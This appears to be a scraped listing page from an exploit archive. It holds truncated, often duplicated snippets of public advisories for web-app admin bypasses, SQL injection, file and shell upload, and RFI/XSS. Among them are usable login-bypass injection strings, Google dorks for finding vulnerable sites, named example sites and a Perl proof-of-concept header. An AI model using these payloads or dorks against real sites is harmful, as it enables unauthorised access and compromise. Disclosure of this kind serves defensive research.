GameRoom Script Admin Bypass and File Upload Vulnerability

Exploit for unknown platform in category web applications ========================================================== GameRoom Script Admin Bypass and File Upload Vulnerability ========================================================== -----------|01| -Script name :GameRoom link...

eWebeditor ASP Version Multiple Vulnerabilities

Securitylab.ir Application Info: Name: eWebeditor Version: ASP Vulnerability: ======================= Arbitrary File Upload ======================= form action = "http://site.com/manage/ewebeditor/upload.asp?action=save&type=IMAGE&style=luoye 'union select SID, SName, SDir, SCSS, SUploadDir 2b' /...

eWebeditor Traversal / Shell Upload / Bypass / Disclosure

Securitylab.ir Application Info: Name: eWebeditor Version: ASP Vulnerability: ======================= Arbitrary File Upload ======================= ======================= Arbitrary File Upload 2 ======================= http://site.com/admin/ewebeditor/ewebeditor.htm?id=body&style=popup...

Diesel Job Site 1.4 - Multiple Vulnerabilities

Diesel Job Site 1.4 - Multiple Vulnerabilities ======================================================================================== | Title : Diesel Job Site 1.4 Multiple Vulnerabilities | | Author : indoushka | | email : [email protected] | | Home : Souk Naamane - 04325 - Oum El Bouaghi ...

Diesel Job Site 1.4 RFI / XSS / Bypass

======================================================================================== | Title : Diesel Job Site 1.4 Multiple Vulnerabilities | | Author : indoushka | | email : [email protected] | | Home : Souk Naamane - 04325 - Oum El Bouaghi - Algeria -00213771818860 | | Web Site :...

Diesel Job Site 1.4 - Multiple Vulnerabilities

======================================================================================== | Title : Diesel Job Site 1.4 Multiple Vulnerabilities | | Author : indoushka | | email : [email protected] | | Home : Souk Naamane - 04325 - Oum El Bouaghi - Algeria -00213771818860 | | Web Site :...

Diesel Job Site 1.4 Multiple Vulnerabilities

No description provided by source. ======================================================================================== | Title : Diesel Job Site 1.4 Multiple Vulnerabilities | | Author : indoushka | | email : [email protected] | | Home : Souk Naamane - 04325 - Oum El Bouaghi - Algeria...

Diesel Job Site 1.4 Multiple Vulnerabilities

Exploit for unknown platform in category web applications ============================================ Diesel Job Site 1.4 Multiple Vulnerabilities ============================================ ======================================================================================== | Title : Diese...

Robert Zimmerman PHP / MYSQL Bypass

--------------------------------------------------- - Robert Zimmerman PHP / MYSQL SCRIPTS ADMIN BYPASS - --------------------------------------------------- EXAMPLE SITES : - illoz.com - illogator.com - Drawger.com - and more ... EXPLOIT : Login : '-' Pass : '-' And u Got admin acces ; / hakerzy...

Robert Zimmerman PHP / MYSQL Scripts Admin Bypass

No description provided by source. --------------------------------------------------- - Robert Zimmerman PHP / MYSQL SCRIPTS ADMIN BYPASS - --------------------------------------------------- EXPLOIT : Login : '-' Pass : '-' And u Got admin acces ; / hakerzy ze szkocji ;...

Kalimat News System 1.0 SQL Injection

===================================== | kalimat v 1.0 admin by pass index.php ===================================== Author: ProF.Code Email :[email protected] ===================================== dorkgoogle : intext:"Kalimat news system v 1.0" demo:...

JBS 2.0 Administrative Bypass / File Upload

Administration panel bypass and Malicious File Upload Vulnerability JBS v2.0 JBSX and other Jiro's Products Google Dork: "inurl:/files/redirect.asp" Go to url files/login.asp admin 'or' '=' password 'or' '=' H4ckers may upload malicious files by using upload panel as they have administrator acces...

Dow Group SQL Injection

===================================== | Dow Group admin by pass new.php ===================================== Author:ProF.Code Email :[email protected] ===================================== dorkgoogle : intext:"powered and designed by Dow Group" demo username:...

kalimat new system 1.0 - index.php SQL Injection

kalimat new system 1.0 - index.php SQL Injection ===================================== | kalimat v 1.0 admin by pass index.php ===================================== Author: ProF.Code Email :[email protected] ===================================== dorkgoogle : intext:"Kalimat news system v 1.0" demo:...

Dow Group - 'new.php' SQL Injection

===================================== | Dow Group admin by pass new.php ===================================== Author:ProF.Code Email :[email protected] ===================================== dorkgoogle : intext:"powered and designed by Dow Group" demo username:...

Dow Group - new.php SQL Injection

Dow Group - new.php SQL Injection ===================================== | Dow Group admin by pass new.php ===================================== Author:ProF.Code Email :[email protected] ===================================== dorkgoogle : intext:"powered and designed by Dow Group" demo username:...

Dow Group (new.php) SQL Injection

Exploit for unknown platform in category web applications ================================= Dow Group new.php SQL Injection ================================= ===================================== | Dow Group admin by pass new.php ===================================== Author:ProF.Code...

Ajax Short URL Script (Auth Bypass) SQL Injection Vulnerability

No description provided by source. - Discovered By: Cicklow - Date: 03.08.2009 Exploit: username: realadminname ' or ' 1=1 password: cicklow note: generally admin name: admin or any user Buy Script: http://junglescripts.com/shorturls.php Admin login Demo: http://href.in/x/login sebug.net...

WebLeague 2.2.0 SQL Injection / Authentication Bypass

!/usr/bin/perl -W WebLeague 2.2.0 Remote Admin Bypass p0c written by ka0x need magicquotesgpc = Off Vuln code Admin/index.php : 10: $sql="SELECT FROM $admintable WHERE name = '$POSTusername' AND password = '$POSTpassword'"; // --- NOT CLEAN $POST VARS 11: $result=mysqlquery$sql,$db; 12: $number =...

webLeague 2.2.0 (Auth Bypass) Remote SQL Injection Exploit

No description provided by source. !/usr/bin/perl -W WebLeague 2.2.0 Remote Admin Bypass p0c written by ka0x ka0x01atgmail.com need magicquotesgpc = Off Vuln code Admin/index.php : 10: $sql="SELECT FROM $admintable WHERE name = '$POSTusername' AND password = '$POSTpassword'"; // --- NOT CLEAN $PO...